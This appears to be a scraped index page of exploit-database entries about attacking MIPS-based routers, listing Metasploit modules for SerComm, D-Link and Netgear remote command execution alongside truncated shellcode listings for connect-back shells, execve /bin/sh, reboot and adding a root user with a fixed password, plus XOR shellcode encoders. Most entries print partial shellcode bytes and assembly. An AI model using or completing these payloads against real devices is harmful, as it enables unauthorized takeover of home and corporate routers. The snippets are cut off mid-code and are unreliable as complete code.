SerComm Device Remote Code Execution

This module will cause remote code execution on several SerComm devices. These devices typically include routers from NetGear and Linksys. This module was tested successfully against several NetGear, Honeywell and Cisco devices. This module requires Metasploit: https://metasploit.com/download...

[Capstone] Ultimate Disassembly Framework

Capstone is a lightweight multi-platform, multi-architecture disassembly framework. Our target is to make Capstone the ultimate disassembly engine for binary analysis and reversing in the security community. Features Support hardware architectures: ARM, ARM64 aka ARMv8, Mips & X86 more details...

MIPS Little Endian - Reverse Shell Shellcode Linux

MIPS Little Endian - Reverse Shell Shellcode Linux. Shellcode exploit for hardware platform MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators Blog: http://infosec42.blogspot.com Company Website:...

Byte XORi Encoder

Mips Web server exploit friendly xor encoder. This encoder has been found useful on situations where '&' 0x26 is a badchar. Since 0x26 is the xor's opcode on MIPS architectures, this one is based on the xori instruction. This module requires Metasploit: https://metasploit.com/download Current...

Byte XORi Encoder

Mips Web server exploit friendly xor encoder. This encoder has been found useful on situations where '&' 0x26 is a badchar. Since 0x26 is the xor's opcode on MIPS architectures, this one is based on the xori instruction. This module requires Metasploit: https://metasploit.com/download Current...

MIPS Little Endian Shellcode

MIPS Little Endian Shellcode. CVE-2013-4659. Shellcode exploit for mips platform Disassembled MIPS Little Endian Shellcode Shellcode was designed for ACSD exploit on the ASUS RT-AC66U SOHO router. CVE: CVE-2013-4659 Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators Blog...

D-Link Devices - UPnP SOAP Command Execution (Metasploit)

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3 'D-Link Devices UPnP SOAP Command...

D-Link Devices UPnP SOAP Command Execution

Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. This module requires Metasploit:...

D-Link DIR615h OS Command Injection

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3 'D-Link DIR615h OS Command Injection',...

Netgear DGN2200B pppoe.cgi Remote Command Execution

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3 'Netgear DGN2200B pppoe.cgi Remote...

Compromising Embedded Linux Routers with Metasploit

Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. Maybe it's because access to these devices or the software running in top of them ...

Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes

Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Shellcode exploit for linuxmips platform / Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor...

linux/mips - reboot() - 32 bytes

/ Title: Linux/MIPS - reboot - 32 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x3c\x06\x43\x21" // lui a2,0x4321 "\x34\xc6\xfe\xdc" // ori a2,a2,0xfedc "\x3c\x05\x28\x12" // lui a1,0x2812 "\x34\xa5\x19\x69" // ori a1,a1,0x1969 "\x3c\x04\xfe\xe1" // lui a0,0xfee1...

linux/mips - connect back shellcode (port 0x7a69) - 168 bytes

/ Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor a0,t7,zero "\x01\xe0\x28\x27" // nor a1,t7,zero "\x28\x06\xff\xff" // slti a2,zero,-1 "\x24\x02\x10\x57" //...

Linux/MIPS - reboot - 32 bytes

Linux/MIPS - reboot - 32 bytes. Shellcode exploit for linuxmips platform / Title: Linux/MIPS - reboot - 32 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x3c\x06\x43\x21" // lui a2,0x4321 "\x34\xc6\xfe\xdc" // ori a2,a2,0xfedc "\x3c\x05\x28\x12" // lui a1,0x2812...

Linux/MIPS - add userUID 0 with password - 164 bytes

Linux/MIPS - add userUID 0 with password - 164 bytes. Shellcode exploit for linux platform / Title: Linux/MIPS -add userUID 0 with password - 164 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com Note: Username - rOOt Password - pwn3d / include char sc = "\x24\x09\x73\x50" // li t1,2952...

linux/mips - execve /bin/sh - 48 bytes

/ Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw $zero, -4$sp la $a0, -12$sp slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 /...

linux/mips - add user(UID 0) with password - 164 bytes

/ Title: Linux/MIPS -add userUID 0 with password - 164 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com Note: Username - rOOt Password - pwn3d / include char sc = "\x24\x09\x73\x50" // li t1,29520 "\x05\x30\xff\xff" // bltzal t1,400094 "\x24\x09\x73\x50" // li t1,29520 nop /...

Linux/MIPS - execve /bin/sh - 48 bytes

Linux/MIPS - execve /bin/sh - 48 bytes. Shellcode exploit for linux platform / Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw...

linux/mips XOR Shellcode Encoder (60 Bytes)

include include include include include include include define DEBUG 0 / entropy at phiral.net mips linux shellcode xor encoder \xAB\xCD is overwritten with jmp back offset \x00\x00 is overwritten with the byte its xored with 0. gcc encoder.c -o encoder 1. perl -e 'print "\xsh\xel\xlc\xod\xe0";'...